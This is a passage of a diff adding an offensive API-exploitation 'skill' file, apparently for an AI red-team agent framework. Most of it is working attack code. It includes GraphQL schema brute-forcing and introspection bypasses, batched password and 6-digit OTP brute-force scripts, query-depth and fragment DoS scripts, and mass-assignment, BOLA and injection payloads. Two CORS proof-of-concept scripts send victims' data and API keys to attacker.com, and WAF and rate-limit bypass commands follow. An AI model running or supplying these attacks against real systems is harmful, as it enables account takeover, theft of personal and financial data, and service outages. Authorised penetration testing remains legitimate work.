common_prefixes = ["user", "admin", "account", "get", "create", "update", "delete",
|
|
860
|
+
"list", "fetch", "query", "find", "search", "auth", "login",
|
|
861
|
+
"register", "profile", "order", "payment", "invoice", "report",
|
|
862
|
+
"secret", "token", "key", "config", "setting", "flag"]
|
|
863
|
+
|
|
864
|
+
for prefix in common_prefixes:
|
|
865
|
+
for suffix in string.ascii_lowercase:
|
|
866
|
+
query_field(prefix + suffix)
|
|
867
|
+
|
|
868
|
+
# Now probe discovered fields for their sub-fields
|
|
869
|
+
for field in list(discovered_fields):
|
|
870
|
+
payload = {"query": f"{{ {field} {{ nonExistentField_ }} }}"}
|
|
871
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
|
|
872
|
+
data = r.json()
|
|
873
|
+
for error in data.get("errors", []):
|
|
874
|
+
matches = SUGGESTION_PATTERN.findall(error.get("message", ""))
|
|
875
|
+
for match in matches:
|
|
876
|
+
discovered_fields.add(f"{field}.{match}")
|
|
877
|
+
print(f"[+] Sub-field: {field}.{match}")
|
|
878
|
+
|
|
879
|
+
print(f"\n[*] Total discovered: {len(discovered_fields)} fields/sub-fields")
|
|
880
|
+
with open("discovered_schema.txt", "w") as f:
|
|
881
|
+
f.write("\n".join(sorted(discovered_fields)))
|
|
882
|
+
```
|
|
883
|
+
|
|
884
|
+
#### Step 8.3 — Alternative introspection bypass techniques (EXPERT)
|
|
885
|
+
|
|
886
|
+
```bash
|
|
887
|
+
# Some servers disable __schema but allow __type
|
|
888
|
+
curl -s -X POST https://target.com/graphql \
|
|
889
|
+
-H "Content-Type: application/json" \
|
|
890
|
+
-d '{"query": "{ __type(name: \"User\") { fields { name type { name } } } }"}' | jq .
|
|
891
|
+
|
|
892
|
+
# Try with GET method (some APIs have introspection only on GET)
|
|
893
|
+
curl -s "https://target.com/graphql?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D" \
|
|
894
|
+
-H "Authorization: Bearer YOUR_JWT" | jq .
|
|
895
|
+
|
|
896
|
+
# Bypass via field alias (some WAF rules key on __schema literally)
|
|
897
|
+
curl -s -X POST https://target.com/graphql \
|
|
898
|
+
-H "Content-Type: application/json" \
|
|
899
|
+
-d '{"query": "{ s:__schema { queryType { name } } }"}' | jq .
|
|
900
|
+
|
|
901
|
+
# Fragment-based introspection bypass
|
|
902
|
+
curl -s -X POST https://target.com/graphql \
|
|
903
|
+
-H "Content-Type: application/json" \
|
|
904
|
+
-d '{"query": "fragment f on __Schema { queryType { name } } { ...f }"}' | jq .
|
|
905
|
+
|
|
906
|
+
# Try deprecated introspection via __typename on specific types
|
|
907
|
+
curl -s -X POST https://target.com/graphql \
|
|
908
|
+
-H "Content-Type: application/json" \
|
|
909
|
+
-d '{"query": "{ users { __typename id email role } }"}' | jq .
|
|
910
|
+
|
|
911
|
+
# Apollo sandbox — try accessing /_sandbox or /sandbox endpoint
|
|
912
|
+
curl -si https://target.com/_sandbox
|
|
913
|
+
curl -si https://target.com/graphql/sandbox
|
|
914
|
+
curl -si https://target.com/studio
|
|
915
|
+
```
|
|
916
|
+
|
|
917
|
+
---
|
|
918
|
+
|
|
919
|
+
### Phase 9: GraphQL — Batching Attacks (Rate Limit Bypass)
|
|
920
|
+
|
|
921
|
+
#### Step 9.1 — JSON array batching (INTERMEDIATE)
|
|
922
|
+
|
|
923
|
+
Many GraphQL servers support sending multiple operations in a single HTTP request via JSON arrays. Rate limits often apply per HTTP request, not per operation.
|
|
924
|
+
|
|
925
|
+
```bash
|
|
926
|
+
# Test if batching is supported
|
|
927
|
+
curl -s -X POST https://target.com/graphql \
|
|
928
|
+
-H "Content-Type: application/json" \
|
|
929
|
+
-d '[
|
|
930
|
+
{"query": "{ users { id email } }"},
|
|
931
|
+
{"query": "{ me { id email } }"}
|
|
932
|
+
]' | jq .
|
|
933
|
+
|
|
934
|
+
# If 200 response with array, batching is enabled
|
|
935
|
+
# Now batch login attempts to bypass per-request rate limits
|
|
936
|
+
python3 - << 'EOF'
|
|
937
|
+
import requests, json
|
|
938
|
+
|
|
939
|
+
GRAPHQL_URL = "https://target.com/graphql"
|
|
940
|
+
TARGET_EMAIL = "admin@target.com"
|
|
941
|
+
PASSWORDS = open("/opt/SecLists/Passwords/darkweb2017-top100.txt").read().splitlines()
|
|
942
|
+
|
|
943
|
+
# Batch 100 password attempts per HTTP request
|
|
944
|
+
BATCH_SIZE = 100
|
|
945
|
+
HEADERS = {"Content-Type": "application/json"}
|
|
946
|
+
|
|
947
|
+
for i in range(0, len(PASSWORDS), BATCH_SIZE):
|
|
948
|
+
batch = PASSWORDS[i:i+BATCH_SIZE]
|
|
949
|
+
payload = [
|
|
950
|
+
{
|
|
951
|
+
"query": f'mutation {{ login(email: "{TARGET_EMAIL}", password: "{pw}") {{ token user {{ id email }} }} }}'
|
|
952
|
+
}
|
|
953
|
+
for pw in batch
|
|
954
|
+
]
|
|
955
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=30)
|
|
956
|
+
responses = r.json()
|
|
957
|
+
for j, resp in enumerate(responses):
|
|
958
|
+
if resp.get("data", {}).get("login", {}).get("token"):
|
|
959
|
+
print(f"[AUTH BYPASS] Password: {batch[j]}")
|
|
960
|
+
print(f"Token: {resp['data']['login']['token']}")
|
|
961
|
+
exit()
|
|
962
|
+
print(f"[*] Batch {i//BATCH_SIZE + 1}: No valid credentials in {len(batch)} attempts")
|
|
963
|
+
EOF
|
|
964
|
+
```
|
|
965
|
+
|
|
966
|
+
#### Step 9.2 — Alias batching for rate limit bypass (ADVANCED)
|
|
967
|
+
|
|
968
|
+
When JSON array batching is disabled, aliases can batch multiple operations in one query.
|
|
969
|
+
|
|
970
|
+
```python
|
|
971
|
+
#!/usr/bin/env python3
|
|
972
|
+
# alias_batching.py — bypass rate limits using GraphQL aliases
|
|
973
|
+
|
|
974
|
+
import requests
|
|
975
|
+
|
|
976
|
+
GRAPHQL_URL = "https://target.com/graphql"
|
|
977
|
+
TARGET_EMAIL = "victim@target.com"
|
|
978
|
+
HEADERS = {"Content-Type": "application/json"}
|
|
979
|
+
|
|
980
|
+
def build_alias_batch(email, passwords):
|
|
981
|
+
"""Build a single query with aliased mutations for each password"""
|
|
982
|
+
mutations = []
|
|
983
|
+
for i, password in enumerate(passwords):
|
|
984
|
+
# Each alias is a separate mutation under one HTTP request
|
|
985
|
+
mutation = f"""
|
|
986
|
+
attempt_{i}: login(email: "{email}", password: "{password}") {{
|
|
987
|
+
token
|
|
988
|
+
user {{ id email role }}
|
|
989
|
+
}}"""
|
|
990
|
+
mutations.append(mutation)
|
|
991
|
+
query = "mutation {" + "\n".join(mutations) + "}"
|
|
992
|
+
return query
|
|
993
|
+
|
|
994
|
+
# Load wordlist
|
|
995
|
+
passwords = open("/opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt").read().splitlines()
|
|
996
|
+
BATCH_SIZE = 50 # 50 attempts per HTTP request
|
|
997
|
+
|
|
998
|
+
for i in range(0, len(passwords), BATCH_SIZE):
|
|
999
|
+
batch = passwords[i:i+BATCH_SIZE]
|
|
1000
|
+
query = build_alias_batch(TARGET_EMAIL, batch)
|
|
1001
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS,
|
|
1002
|
+
json={"query": query}, timeout=30)
|
|
1003
|
+
data = r.json().get("data", {})
|
|
1004
|
+
for alias, result in data.items():
|
|
1005
|
+
if result and result.get("token"):
|
|
1006
|
+
pw_index = int(alias.split("_")[1])
|
|
1007
|
+
print(f"[SUCCESS] Password: {batch[pw_index]}")
|
|
1008
|
+
print(f"Token: {result['token']}")
|
|
1009
|
+
exit()
|
|
1010
|
+
print(f"[*] Batch {i//BATCH_SIZE + 1}: {len(batch)} attempts, no match")
|
|
1011
|
+
```
|
|
1012
|
+
|
|
1013
|
+
#### Step 9.3 — OTP/2FA bypass via batching (EXPERT)
|
|
1014
|
+
|
|
1015
|
+
```python
|
|
1016
|
+
#!/usr/bin/env python3
|
|
1017
|
+
# otp_bypass.py — brute-force OTP via GraphQL alias batching
|
|
1018
|
+
|
|
1019
|
+
import requests
|
|
1020
|
+
|
|
1021
|
+
GRAPHQL_URL = "https://target.com/graphql"
|
|
1022
|
+
SESSION_TOKEN = "pre-auth-session-token-after-password" # Token from step 1
|
|
1023
|
+
HEADERS = {"Content-Type": "application/json", "Authorization": f"Bearer {SESSION_TOKEN}"}
|
|
1024
|
+
|
|
1025
|
+
# 6-digit OTP: 000000-999999, try all in batches of 100
|
|
1026
|
+
def build_otp_batch(start, end):
|
|
1027
|
+
mutations = []
|
|
1028
|
+
for code in range(start, end):
|
|
1029
|
+
otp = f"{code:06d}"
|
|
1030
|
+
mutations.append(f'otp_{code}: verifyOTP(code: "{otp}") {{ token success }}')
|
|
1031
|
+
return "mutation {" + "\n".join(mutations) + "}"
|
|
1032
|
+
|
|
1033
|
+
print("[*] Starting OTP brute-force via alias batching...")
|
|
1034
|
+
for batch_start in range(0, 1000000, 100):
|
|
1035
|
+
query = build_otp_batch(batch_start, min(batch_start + 100, 1000000))
|
|
1036
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS,
|
|
1037
|
+
json={"query": query}, timeout=60)
|
|
1038
|
+
data = r.json().get("data", {})
|
|
1039
|
+
for alias, result in data.items():
|
|
1040
|
+
if result and result.get("token"):
|
|
1041
|
+
otp = alias.replace("otp_", "").zfill(6)
|
|
1042
|
+
print(f"[SUCCESS] Valid OTP: {otp}")
|
|
1043
|
+
print(f"Token: {result['token']}")
|
|
1044
|
+
exit()
|
|
1045
|
+
if batch_start % 10000 == 0:
|
|
1046
|
+
print(f"[*] Progress: {batch_start}/1000000 OTPs tested")
|
|
1047
|
+
```
|
|
1048
|
+
|
|
1049
|
+
---
|
|
1050
|
+
|
|
1051
|
+
### Phase 10: GraphQL — Query Depth DoS
|
|
1052
|
+
|
|
1053
|
+
#### Step 10.1 — Nested query DoS (INTERMEDIATE)
|
|
1054
|
+
|
|
1055
|
+
```bash
|
|
1056
|
+
# Test max query depth (recursive query structures)
|
|
1057
|
+
curl -s -X POST https://target.com/graphql \
|
|
1058
|
+
-H "Content-Type: application/json" \
|
|
1059
|
+
-d '{
|
|
1060
|
+
"query": "{ user { friends { friends { friends { friends { friends { friends { friends { friends { friends { id email } } } } } } } } } } }"
|
|
1061
|
+
}' | jq .
|
|
1062
|
+
|
|
1063
|
+
# Generate deeply nested query programmatically
|
|
1064
|
+
python3 -c "
|
|
1065
|
+
depth = 50
|
|
1066
|
+
nested = 'id email'
|
|
1067
|
+
query = 'friends { ' * depth + nested + ' }' * depth
|
|
1068
|
+
print('{\"query\": \"{ me { ' + query + ' } }\"}')
|
|
1069
|
+
" | curl -s -X POST https://target.com/graphql \
|
|
1070
|
+
-H "Content-Type: application/json" \
|
|
1071
|
+
-d @-
|
|
1072
|
+
|
|
1073
|
+
# Circular reference DoS
|
|
1074
|
+
curl -s -X POST https://target.com/graphql \
|
|
1075
|
+
-H "Content-Type: application/json" \
|
|
1076
|
+
-d '{"query": "{ users { orders { user { orders { user { orders { id } } } } } } }"}'
|
|
1077
|
+
```
|
|
1078
|
+
|
|
1079
|
+
#### Step 10.2 — Field duplication / complexity DoS (ADVANCED)
|
|
1080
|
+
|
|
1081
|
+
```python
|
|
1082
|
+
#!/usr/bin/env python3
|
|
1083
|
+
# complexity_dos.py — GraphQL complexity-based resource exhaustion
|
|
1084
|
+
|
|
1085
|
+
import requests
|
|
1086
|
+
import time
|
|
1087
|
+
|
|
1088
|
+
GRAPHQL_URL = "https://target.com/graphql"
|
|
1089
|
+
HEADERS = {"Content-Type": "application/json"}
|
|
1090
|
+
|
|
1091
|
+
def build_complexity_query(field_count=500):
|
|
1092
|
+
"""Build a query requesting same field many times via aliases"""
|
|
1093
|
+
aliases = "\n".join([f"f{i}: users {{ id email name createdAt updatedAt }}" for i in range(field_count)])
|
|
1094
|
+
return f"{{ {aliases} }}"
|
|
1095
|
+
|
|
1096
|
+
def build_fragment_bomb():
|
|
1097
|
+
"""Fragment-based query amplification"""
|
|
1098
|
+
fragments = ""
|
|
1099
|
+
query_parts = ""
|
|
1100
|
+
for i in range(50):
|
|
1101
|
+
fragments += f"fragment F{i} on Query {{ users {{ id email role }} }}\n"
|
|
1102
|
+
query_parts += f"...F{i}\n"
|
|
1103
|
+
return f"query {{\n{query_parts}}}\n{fragments}"
|
|
1104
|
+
|
|
1105
|
+
print("[*] Testing GraphQL complexity DoS...")
|
|
1106
|
+
|
|
1107
|
+
# Test 1: Alias flooding
|
|
1108
|
+
print("[*] Test 1: Alias flooding (100 aliases)...")
|
|
1109
|
+
start = time.time()
|
|
1110
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS,
|
|
1111
|
+
json={"query": build_complexity_query(100)}, timeout=60)
|
|
1112
|
+
elapsed = time.time() - start
|
|
1113
|
+
print(f" Status: {r.status_code}, Time: {elapsed:.2f}s, Size: {len(r.text)} bytes")
|
|
1114
|
+
|
|
1115
|
+
# Test 2: Alias flooding (500 aliases)
|
|
1116
|
+
print("[*] Test 2: Alias flooding (500 aliases)...")
|
|
1117
|
+
start = time.time()
|
|
1118
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS,
|
|
1119
|
+
json={"query": build_complexity_query(500)}, timeout=120)
|
|
1120
|
+
elapsed = time.time() - start
|
|
1121
|
+
print(f" Status: {r.status_code}, Time: {elapsed:.2f}s, Size: {len(r.text)} bytes")
|
|
1122
|
+
|
|
1123
|
+
# Test 3: Fragment bomb
|
|
1124
|
+
print("[*] Test 3: Fragment bomb...")
|
|
1125
|
+
start = time.time()
|
|
1126
|
+
r = requests.post(GRAPHQL_URL, headers=HEADERS,
|
|
1127
|
+
json={"query": build_fragment_bomb()}, timeout=60)
|
|
1128
|
+
elapsed = time.time() - start
|
|
1129
|
+
print(f" Status: {r.status_code}, Time: {elapsed:.2f}s, Size: {len(r.text)} bytes")
|
|
1130
|
+
```
|
|
1131
|
+
|
|
1132
|
+
---
|
|
1133
|
+
|
|
1134
|
+
### Phase 11: Common Payloads and Examples
|
|
1135
|
+
|
|
1136
|
+
#### REST API Payloads
|
|
1137
|
+
|
|
1138
|
+
```json
|
|
1139
|
+
// Mass assignment — privilege escalation
|
|
1140
|
+
{
|
|
1141
|
+
"username": "attacker",
|
|
1142
|
+
"role": "admin",
|
|
1143
|
+
"isAdmin": true,
|
|
1144
|
+
"permissions": ["read", "write", "admin", "delete"],
|
|
1145
|
+
"plan": "enterprise",
|
|
1146
|
+
"credits": 999999,
|
|
1147
|
+
"isVerified": true,
|
|
1148
|
+
"emailVerified": true,
|
|
1149
|
+
"twoFactorEnabled": false
|
|
1150
|
+
}
|
|
1151
|
+
|
|
1152
|
+
// BOLA — horizontal privilege escalation
|
|
1153
|
+
GET /api/v1/users/[VICTIM_ID]
|
|
1154
|
+
GET /api/v1/orders/[VICTIM_ORDER_ID]
|
|
1155
|
+
GET /api/v1/documents/[VICTIM_DOC_UUID]
|
|
1156
|
+
|
|
1157
|
+
// CORS exploit PoC
|
|
1158
|
+
<script>
|
|
1159
|
+
fetch('https://target.com/api/v1/users/me', {
|
|
1160
|
+
credentials: 'include',
|
|
1161
|
+
headers: {'Authorization': 'Bearer stored-token'}
|
|
1162
|
+
})
|
|
1163
|
+
.then(r => r.json())
|
|
1164
|
+
.then(d => fetch('https://attacker.com/log?data=' + JSON.stringify(d)));
|
|
1165
|
+
</script>
|
|
1166
|
+
```
|
|
1167
|
+
|
|
1168
|
+
#### GraphQL Payloads
|
|
1169
|
+
|
|
1170
|
+
```graphql
|
|
1171
|
+
# Basic introspection
|
|
1172
|
+
{ __schema { queryType { name } } }
|
|
1173
|
+
|
|
1174
|
+
# Type enumeration
|
|
1175
|
+
{ __type(name: "User") { fields { name type { name kind } } } }
|
|
1176
|
+
|
|
1177
|
+
# Alias batching (rate limit bypass)
|
|
1178
|
+
mutation {
|
|
1179
|
+
a1: login(email: "victim@example.com", password: "password1") { token }
|
|
1180
|
+
a2: login(email: "victim@example.com", password: "password2") { token }
|
|
1181
|
+
a3: login(email: "victim@example.com", password: "password3") { token }
|
|
1182
|
+
}
|
|
1183
|
+
|
|
1184
|
+
# BOLA via GraphQL query
|
|
1185
|
+
{ user(id: "VICTIM_UUID") { id email role passwordHash apiKeys { key } } }
|
|
1186
|
+
|
|
1187
|
+
# SQL injection via GraphQL argument
|
|
1188
|
+
{ users(filter: "1=1 OR 1=1--") { id email } }
|
|
1189
|
+
{ users(search: "' OR '1'='1") { id email } }
|
|
1190
|
+
|
|
1191
|
+
# NoSQL injection via GraphQL
|
|
1192
|
+
{ users(filter: "{\"$gt\": \"\"}") { id email } }
|
|
1193
|
+
```
|
|
1194
|
+
|
|
1195
|
+
---
|
|
1196
|
+
|
|
1197
|
+
### Phase 12: Real-World Engagement Examples
|
|
1198
|
+
|
|
1199
|
+
#### Example 1 — E-commerce Platform BOLA (2024)
|
|
1200
|
+
|
|
1201
|
+
**Scenario:** B2B SaaS with invoice management. Company A's invoices accessible by Company B.
|
|
1202
|
+
|
|
1203
|
+
**Finding path:**
|
|
1204
|
+
1. Registered two accounts (Company A and Company B)
|
|
1205
|
+
2. Created invoice as Company A — captured UUID: `3f7a1c2d-...`
|
|
1206
|
+
3. As Company B, called `GET /api/v2/invoices/3f7a1c2d-...`
|
|
1207
|
+
4. Full invoice returned including banking details
|
|
1208
|
+
5. Mass enumeration of sequential creation IDs revealed ~50,000 invoices
|
|
1209
|
+
|
|
1210
|
+
**Impact:** Full financial data exposure across all customers.
|
|
1211
|
+
|
|
1212
|
+
```bash
|
|
1213
|
+
# Reproduction
|
|
1214
|
+
curl -s https://target.com/api/v2/invoices/3f7a1c2d-8b4e-4f9a-a123-456789abcdef \
|
|
1215
|
+
-H "Authorization: Bearer COMPANY_B_JWT" | jq .
|
|
1216
|
+
```
|
|
1217
|
+
|
|
1218
|
+
#### Example 2 — GraphQL OTP Bypass Leading to Account Takeover (2024)
|
|
1219
|
+
|
|
1220
|
+
**Scenario:** Healthcare app used GraphQL with alias-based OTP verification. OTP was 6-digit numeric.
|
|
1221
|
+
|
|
1222
|
+
**Finding path:**
|
|
1223
|
+
1. Triggered password reset for victim
|
|
1224
|
+
2. Noted GraphQL mutation: `verifyResetOTP(token: String!, otp: String!)`
|
|
1225
|
+
3. Rate limit was per HTTP request (max 5 OTPs per minute)
|
|
1226
|
+
4. Alias batching sent 1000 OTPs per request — 1M OTPs in ~17 minutes
|
|
1227
|
+
5. Account taken over
|
|
1228
|
+
|
|
1229
|
+
#### Example 3 — Mass Assignment on SaaS Platform (2023)
|
|
1230
|
+
|
|
1231
|
+
**Scenario:** Freemium SaaS — subscription tiers enforced via `plan` field.
|
|
1232
|
+
|
|
1233
|
+
**Finding path:**
|
|
1234
|
+
1. Registered free account
|
|
1235
|
+
2. Used Burp Repeater on `PATCH /api/v1/profile`
|
|
1236
|
+
3. Added `"plan": "enterprise"` to normal profile update
|
|
1237
|
+
4. Received 200 response — no error
|
|
1238
|
+
5. Refreshed dashboard: full enterprise features unlocked
|
|
1239
|
+
|
|
1240
|
+
```bash
|
|
1241
|
+
curl -s -X PATCH https://target.com/api/v1/profile \
|
|
1242
|
+
-H "Authorization: Bearer FREE_TIER_JWT" \
|
|
1243
|
+
-H "Content-Type: application/json" \
|
|
1244
|
+
-d '{"displayName": "Test", "plan": "enterprise", "seats": 999}'
|
|
1245
|
+
```
|
|
1246
|
+
|
|
1247
|
+
#### Example 4 — CORS + API Key Exposure
|
|
1248
|
+
|
|
1249
|
+
**Scenario:** API reflected `Origin` header without validation and `withCredentials` was set.
|
|
1250
|
+
|
|
1251
|
+
**Exploit:**
|
|
1252
|
+
```html
|
|
1253
|
+
<!-- Hosted on attacker.com — victim visits this page while authenticated -->
|
|
1254
|
+
<script>
|
|
1255
|
+
var xhr = new XMLHttpRequest();
|
|
1256
|
+
xhr.open('GET', 'https://target.com/api/v1/users/me/api-keys', true);
|
|
1257
|
+
xhr.withCredentials = true;
|
|
1258
|
+
xhr.onload = function() {
|
|
1259
|
+
fetch('https://attacker.com/steal?d=' + encodeURIComponent(xhr.responseText));
|
|
1260
|
+
};
|
|
1261
|
+
xhr.send();
|
|
1262
|
+
</script>
|
|
1263
|
+
```
|
|
1264
|
+
|
|
1265
|
+
---
|
|
1266
|
+
|
|
1267
|
+
### Phase 13: WAF Bypass Techniques
|
|
1268
|
+
|
|
1269
|
+
#### GraphQL WAF bypass
|
|
1270
|
+
|
|
1271
|
+
```bash
|
|
1272
|
+
# Content-Type manipulation
|
|
1273
|
+
curl -X POST https://target.com/graphql \
|
|
1274
|
+
-H "Content-Type: application/graphql" \
|
|
1275
|
+
-d '{ __schema { queryType { name } } }'
|
|
1276
|
+
|
|
1277
|
+
# JSON with null bytes
|
|
1278
|
+
curl -X POST https://target.com/graphql \
|
|
1279
|
+
-H "Content-Type: application/json" \
|
|
1280
|
+
-d "{\"query\":\"{ __schema { queryType { name } } }\"}"
|
|
1281
|
+
|
|
1282
|
+
# Unicode normalization bypass
|
|
1283
|
+
curl -X POST https://target.com/graphql \
|
|
1284
|
+
-H "Content-Type: application/json" \
|
|
1285
|
+
-d '{"query": "{ __schema { queryType { name } } }"}'
|
|
1286
|
+
|
|
1287
|
+
# Case variation (some WAFs are case-sensitive)
|
|
1288
|
+
curl -X POST https://target.com/graphql \
|
|
1289
|
+
-H "Content-Type: application/json" \
|
|
1290
|
+
-d '{"query": "{ __SCHEMA { queryType { name } } }"}'
|
|
1291
|
+
|
|
1292
|
+
# Whitespace manipulation
|
|
1293
|
+
curl -X POST https://target.com/graphql \
|
|
1294
|
+
-H "Content-Type: application/json" \
|
|
1295
|
+
-d '{"query": "{\n\t__schema\n\t{\n\tqueryType\n\t{\n\tname\n\t}\n\t}\n}"}'
|
|
1296
|
+
|
|
1297
|
+
# Comment injection
|
|
1298
|
+
curl -X POST https://target.com/graphql \
|
|
1299
|
+
-H "Content-Type: application/json" \
|
|
1300
|
+
-d '{"query": "{ __sch#comment\nema { queryType { name } } }"}'
|
|
1301
|
+
```
|
|
1302
|
+
|
|
1303
|
+
#### REST API WAF bypass
|
|
1304
|
+
|
|
1305
|
+
```bash
|
|
1306
|
+
# Path traversal bypass for BOLA
|
|
1307
|
+
curl https://target.com/api/v1/users/1%2f..%2f2 # /1/../2 -> /2
|
|
1308
|
+
curl https://target.com/api/v1/users/1/../../v1/users/2
|
|
1309
|
+
|
|
1310
|
+
# Parameter pollution
|
|
1311
|
+
curl "https://target.com/api/v1/users?id=1&id=2"
|
|
1312
|
+
curl -X POST https://target.com/api/v1/users \
|
|
1313
|
+
-d "id=1&id=2"
|
|
1314
|
+
|
|
1315
|
+
# JSON encoding bypass
|
|
1316
|
+
curl -X POST https://target.com/api/v1/query \
|
|
1317
|
+
-H "Content-Type: application/json" \
|
|
1318
|
+
-d '{"filter": "' OR '1'='1"}' # Unicode-encoded SQL injection
|
|
1319
|
+
|
|
1320
|
+
# Header injection to bypass IP-based rate limits
|
|
1321
|
+
curl -X POST https://target.com/api/v1/auth/login \
|
|
1322
|
+
-H "X-Forwarded-For: 127.0.0.1" \
|
|
1323
|
+
-H "X-Real-IP: 127.0.0.1" \
|
|
1324
|
+
-H "X-Originating-IP: 127.0.0.1" \
|
|
1325
|
+
-H "X-Remote-IP: 127.0.0.1" \
|
|
1326
|
+
-d '{"email":"victim@test.com","password":"guess"}'
|
|
1327
|
+
|
|
1328
|
+
# Chunked transfer encoding bypass
|
|
1329
|
+
curl -X POST https://target.com/api/v1/admin/users \
|
|
1330
|
+
-H "Transfer-Encoding: chunked" \
|
|
1331
|
+
-H "Authorization: Bearer LOW_PRIV_TOKEN" \
|
|
1332
|
+
--data-binary $'5\r\n{"rol\r\n6\r\ne":"ad\r\n5\r\nmin"}\r\n0\r\n\r\n'
|
|
1333
|
+
```
|
|
1334
|
+
|
|
1335
|
+
---
|
|
1336
|
+
|
|
1337
|
+
## 8. Integration with RTExit Autodoc Engine
|
|
1338
|
+
|
|
1339
|
+
The RTExit autodoc engine collects structured JSON findings. Use the following output format for all findings discovered with this skill.
|
|
1340
|
+
|
|
1341
|
+
### Finding Schema
|
|
1342
|
+
|
|
1343
|
+
```json
|
|
1344
|
+
{
|
|
1345
|
+
"skill": "rt-exploit-api",
|
|
1346
|
+
"timestamp": "ISO8601",
|
|
1347
|
+
"target": "https://target.com",
|
|
1348
|
+
"finding_id": "API-001",
|
|
1349
|
+
"category": "BOLA|MassAssignment|RateLimit|CORS|GraphQLIntrospection|GraphQLBatching|SchemaExposure|DoS",
|
|
1350
|
+
"severity": "CRITICAL|HIGH|MEDIUM|LOW|INFO",
|
|
1351
|
+
"owasp_api": "API1:2023|API4:2023|API6:2023|API7:2023|API8:2023",
|
|
1352
|
+
"title": "Human-readable finding title",
|
|
1353
|
+
"description": "Detailed description of the vulnerability",
|
|
1354
|
+
"evidence": {
|
|
1355
|
+
"request": "Full HTTP request string",
|
|
1356
|
+
"response": "Relevant response excerpt",
|
|
1357
|
+
"proof": "Screenshot path or curl command"
|
|
1358
|
+
},
|
|
1359
|
+
"reproduction": ["Step 1", "Step 2", "Step 3"],
|
|
1360
|
+
"impact": "Business impact description",
|
|
1361
|
+
"remediation": "Fix recommendation"
|
|
1362
|
+
}
|
|
1363
|
+
```
|
|
1364
|
+
|
|
1365
|
+
### Autodoc Integration Commands
|
|
1366
|
+
|
|
1367
|
+
```bash
|
|
1368
|
+
# Save finding to RTExit findings directory
|
|
1369
|
+
FINDINGS_DIR="c:/Ahmed/Projects/RTExit/.agents/findings"
|
|
1370
|
+
mkdir -p "$FINDINGS_DIR"
|
|
1371
|
+
|
|
1372
|
+
# Output finding as JSON
|
|
1373
|
+
cat > "$FINDINGS_DIR/API-001-BOLA.json" << 'EOF'
|
|
1374
|
+
{
|
|
1375
|
+
"skill": "rt-exploit-api",
|
|
1376
|
+
"timestamp": "2026-05-31T00:00:00Z",
|
|
1377
|
+
"target": "https://target.com",
|
|
1378
|
+
"finding_id": "API-001",
|
|
1379
|
+
"category": "BOLA",
|
|
1380
|
+
"severity": "CRITICAL",
|
|
1381
|
+
"owasp_api": "API1:2023",
|
|
1382
|
+
"title": "Broken Object Level Authorization — User Invoice Exposure",
|
|
1383
|
+
"description": "Any authenticated user can access any invoice by supplying an arbitrary UUID in the invoice ID parameter. No ownership check is enforced server-side.",
|
|
1384
|
+
"evidence": {
|
|
1385
|
+
"request": "GET /api/v2/invoices/3f7a1c2d-8b4e-4f9a-a123-456789abcdef HTTP/1.1\nAuthorization: Bearer COMPANY_B_JWT",
|
|
1386
|
+
"response": "{\"id\":\"3f7a1c2d...\",\"amount\":50000,\"bank_account\":\"...\"}",
|
|
1387
|
+
"proof": "screenshots/API-001-BOLA.png"
|
|
1388
|
+
},
|
|
1389
|
+
"reproduction": [
|
|
1390
|
+
"Authenticate as Company B",
|
|
1391
|
+
"GET /api/v2/invoices/{company_a_invoice_uuid}",
|
|
1392
|
+
"Observe full invoice data returned"
|
|
1393
|
+
],
|
|
1394
|
+
"impact": "Attacker can exfiltrate all customer invoices, banking details, and PII",
|
|
1395
|
+
"remediation": "Validate invoice ownership against authenticated user's tenant ID before returning data"
|
|
1396
|
+
}
|
|
1397
|
+
EOF
|
|
1398
|
+
|
|
1399
|
+
echo "[+] Finding saved to $FINDINGS_DIR/API-001-BOLA.json"
|
|
1400
|
+
```
|
|
1401
|
+
|
|
1402
|
+
### Python Autodoc Helper
|
|
1403
|
+
|
|
1404
|
+
```python
|
|
1405
|
+
#!/usr/bin/env python3
|
|
1406
|
+
# autodoc_helper.py — RTExit autodoc integration for rt-exploit-api findings
|
|
1407
|
+
|
|
1408
|
+
import json
|
|
1409
|
+
import os
|
|
1410
|
+
from datetime import datetime, timezone
|
|
1411
|
+
|
|
1412
|
+
FINDINGS_DIR = "c:/Ahmed/Projects/RTExit/.agents/findings"
|
|
1413
|
+
os.makedirs(FINDINGS_DIR, exist_ok=True)
|
|
1414
|
+
|
|
1415
|
+
def save_finding(finding_id, category, severity, title, description,
|
|
1416
|
+
request, response, reproduction, impact, remediation,
|
|
1417
|
+
target="https://target.com", owasp_api="API1:2023"):
|
|
1418
|
+
finding = {
|
|
1419
|
+
"skill": "rt-exploit-api",
|
|
1420
|
+
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
1421
|
+
"target": target,
|
|
1422
|
+
"finding_id": finding_id,
|
|
1423
|
+
"category": category,
|
|
1424
|
+
"severity": severity,
|
|
1425
|
+
"owasp_api": owasp_api,
|
|
1426
|
+
"title": title,
|
|
1427
|
+
"description": description,
|
|
1428
|
+
"evidence": {
|
|
1429
|
+
"request": request,
|
|
1430
|
+
"response": response,
|
|
1431
|
+
},
|
|
1432
|
+
"reproduction": reproduction,
|
|
1433
|
+
"impact": impact,
|
|
1434
|
+
"remediation": remediation
|
|
1435
|
+
}
|
|
1436
|
+
path = os.path.join(FINDINGS_DIR, f"{finding_id}-{category}.json")
|
|
1437
|
+
with open(path, "w") as f:
|
|
1438
|
+
json.dump(finding, f, indent=2)
|
|
1439
|
+
print(f"[AUTODOC] Finding saved: {path}")
|
|
1440
|
+
return path
|
|
1441
|
+
|
|
1442
|
+
# Usage example:
|
|
1443
|
+
save_finding(
|
|
1444
|
+
finding_id="API-001",
|
|
1445
|
+
category="BOLA",
|
|
1446
|
+
severity="CRITICAL",
|
|
1447
|
+
title="BOLA on /api/v1/users/{id} endpoint",
|
|
1448
|
+
description="User B can access User A's full profile by changing the ID parameter.",
|
|
1449
|
+
request="GET /api/v1/users/42 HTTP/1.1\nAuthorization: Bearer USER_B_TOKEN",
|
|
1450
|
+
response='{"id":42,"email":"userA@target.com","role":"admin"}',
|
|
1451
|
+
reproduction=[
